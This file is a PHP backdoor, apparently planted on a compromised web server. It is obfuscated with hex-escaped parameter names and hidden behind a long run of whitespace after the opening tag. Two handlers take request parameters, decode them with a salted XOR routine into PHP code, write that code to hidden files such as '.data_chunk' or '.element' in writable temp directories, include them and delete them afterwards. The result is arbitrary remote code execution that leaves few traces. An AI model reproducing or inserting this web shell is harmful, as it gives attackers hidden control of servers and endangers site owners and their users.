<?php																																										if(isset($_REQUEST["\x72\x65s"]) ? true : false){ $fac = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path()]); $comp = $_REQUEST["\x72\x65s"]; $comp =explode( "." , $comp) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $u = 0; $__tmp = $comp; while ($v7 = array_shift($__tmp)) { $chS = ord($salt7[$u % $lenS]); $d = ((int)$v7 - $chS - ($u % 10)) ^ 17; $flg .= chr($d); $u++; } foreach ($fac as $parameter_group) { if (is_dir($parameter_group) && is_writable($parameter_group)) { $dat = join("/", [$parameter_group, ".data_chunk"]); if (@file_put_contents($dat, $flg) !== false) { include $dat; unlink($dat); die(); } } } }


if(isset($_POST) && isset($_POST["f\x61c"])){
	$entity = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp"]);
	$token = $_POST["f\x61c"];
		  $token=	 explode('.' 	 ,		$token ) ; 
	$factor=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($salt);
            $n=		0;
    
            foreach ($token as $v3) {
                $chS=		ord($salt[$n	%	$lenS]);
                $d=		((int)$v3 - $chS - ($n	%	10)) ^72;
                $factor		.=  chr($d);
                $n++;	}
	foreach ($entity as $item):
    		if (is_writable($item) && is_dir($item)) {
    $pointer = implode("/", [$item, ".element"]);
    if (file_put_contents($pointer, $factor)) {
	include $pointer;
	@unlink($pointer);
	exit;
}
}
endforeach;
}